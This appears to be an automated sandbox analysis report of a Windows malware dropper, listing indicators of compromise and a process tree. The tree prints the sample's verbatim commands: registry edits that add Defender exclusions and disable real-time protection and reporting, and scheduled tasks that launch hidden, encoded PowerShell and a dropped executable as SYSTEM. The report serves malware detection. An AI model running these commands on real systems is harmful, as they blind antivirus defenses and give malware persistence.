5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	vWjLHuP.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEvWjLHuP.exe

pid	process
1648	powershell.EXE
1648	powershell.EXE
1648	powershell.EXE
580	powershell.EXE
580	powershell.EXE
580	powershell.EXE
964	powershell.EXE
964	powershell.EXE
964	powershell.EXE
1772	powershell.EXE
1772	powershell.EXE
1772	powershell.EXE
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe
968	vWjLHuP.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	1648	powershell.EXE
Token: SeDebugPrivilege	580	powershell.EXE
Token: SeDebugPrivilege	964	powershell.EXE
Token: SeDebugPrivilege	1772	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 1388 wrote to memory of 1476	1388	file.exe	Install.exe
PID 1388 wrote to memory of 1476	1388	file.exe	Install.exe
PID 1388 wrote to memory of 1476	1388	file.exe	Install.exe
PID 1388 wrote to memory of 1476	1388	file.exe	Install.exe
PID 1388 wrote to memory of 1476	1388	file.exe	Install.exe
PID 1388 wrote to memory of 1476	1388	file.exe	Install.exe
PID 1388 wrote to memory of 1476	1388	file.exe	Install.exe
PID 1476 wrote to memory of 1108	1476	Install.exe	Install.exe
PID 1476 wrote to memory of 1108	1476	Install.exe	Install.exe
PID 1476 wrote to memory of 1108	1476	Install.exe	Install.exe
PID 1476 wrote to memory of 1108	1476	Install.exe	Install.exe
PID 1476 wrote to memory of 1108	1476	Install.exe	Install.exe
PID 1476 wrote to memory of 1108	1476	Install.exe	Install.exe
PID 1476 wrote to memory of 1108	1476	Install.exe	Install.exe
PID 1108 wrote to memory of 672	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 672	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 672	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 672	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 672	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 672	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 672	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 1184	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 1184	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 1184	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 1184	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 1184	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 1184	1108	Install.exe	forfiles.exe
PID 1108 wrote to memory of 1184	1108	Install.exe	forfiles.exe
PID 1184 wrote to memory of 1180	1184	forfiles.exe	cmd.exe
PID 1184 wrote to memory of 1180	1184	forfiles.exe	cmd.exe
PID 1184 wrote to memory of 1180	1184	forfiles.exe	cmd.exe
PID 672 wrote to memory of 1204	672	forfiles.exe	cmd.exe
PID 672 wrote to memory of 1204	672	forfiles.exe	cmd.exe
PID 672 wrote to memory of 1204	672	forfiles.exe	cmd.exe
PID 1184 wrote to memory of 1180	1184	forfiles.exe	cmd.exe
PID 1184 wrote to memory of 1180	1184	forfiles.exe	cmd.exe
PID 1184 wrote to memory of 1180	1184	forfiles.exe	cmd.exe
PID 672 wrote to memory of 1204	672	forfiles.exe	cmd.exe
PID 672 wrote to memory of 1204	672	forfiles.exe	cmd.exe
PID 672 wrote to memory of 1204	672	forfiles.exe	cmd.exe
PID 1184 wrote to memory of 1180	1184	forfiles.exe	cmd.exe
PID 672 wrote to memory of 1204	672	forfiles.exe	cmd.exe
PID 1204 wrote to memory of 932	1204	cmd.exe	reg.exe
PID 1204 wrote to memory of 932	1204	cmd.exe	reg.exe
PID 1204 wrote to memory of 932	1204	cmd.exe	reg.exe
PID 1204 wrote to memory of 932	1204	cmd.exe	reg.exe
PID 1204 wrote to memory of 932	1204	cmd.exe	reg.exe
PID 1204 wrote to memory of 932	1204	cmd.exe	reg.exe
PID 1204 wrote to memory of 932	1204	cmd.exe	reg.exe
PID 1180 wrote to memory of 1092	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1092	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1092	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1092	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1092	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1092	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1092	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1544	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1544	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1544	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1544	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1544	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1544	1180	cmd.exe	reg.exe
PID 1180 wrote to memory of 1544	1180	cmd.exe	reg.exe
PID 1204 wrote to memory of 900	1204	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1388

C:\Users\Admin\AppData\Local\Temp\7zS3C37.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1476

C:\Users\Admin\AppData\Local\Temp\7zS43B5.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1204

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:932

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:900

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1184

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1180

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1092

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1544

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "glOXojbgs" /SC once /ST 11:07:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1580

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "glOXojbgs"
4⤵
PID:1960

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "glOXojbgs"
4⤵
PID:1884

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "beNJzxXkYGhzSCmkZn" /SC once /ST 13:12:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\jaFWdOK.exe\" Qf /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1324

C:\Windows\system32\taskeng.exe
taskeng.exe {4DC471FF-B4AF-4C57-B69D-8CDBFCD0DC2A} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
PID:1608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:580

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1320

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1596

C:\Windows\system32\taskeng.exe
taskeng.exe {1E02D143-393E-447C-8305-15EF49E434A3} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1708

C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\jaFWdOK.exe
C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\jaFWdOK.exe Qf /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:976

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gjodNZBUd" /SC once /ST 06:36:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:932

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gjodNZBUd"
3⤵
PID:900

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gjodNZBUd"
3⤵
PID:1648

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1716

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:764

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1940

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1808

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gBBOxrpPS" /SC once /ST 11:57:00 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:2012

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gBBOxrpPS"
3⤵
PID:1804

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gBBOxrpPS"
3⤵
PID:1632

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:532

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1464

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1784

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1660

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1088

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1712

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1144

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:968

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\MNBTbrbBidagOXts\lnofhNEK\cDzoPWoATNqneQcS.wsf"
3⤵
PID:792

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\MNBTbrbBidagOXts\lnofhNEK\cDzoPWoATNqneQcS.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1224

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1804

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:452

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1972

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1180

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:992

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:860

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1628

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1924

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:452

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:740

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1072

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1936

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1956

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1612

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:544

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1632

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1308

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1712

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:984

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1088

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1532

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gDnnfIVrl" /SC once /ST 07:21:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:272

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gDnnfIVrl"
3⤵
PID:2028

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gDnnfIVrl"
3⤵
PID:992

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:1636

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:1284

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:1676

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:1744

C:\Windows\SysWOW64\schtasks.exe
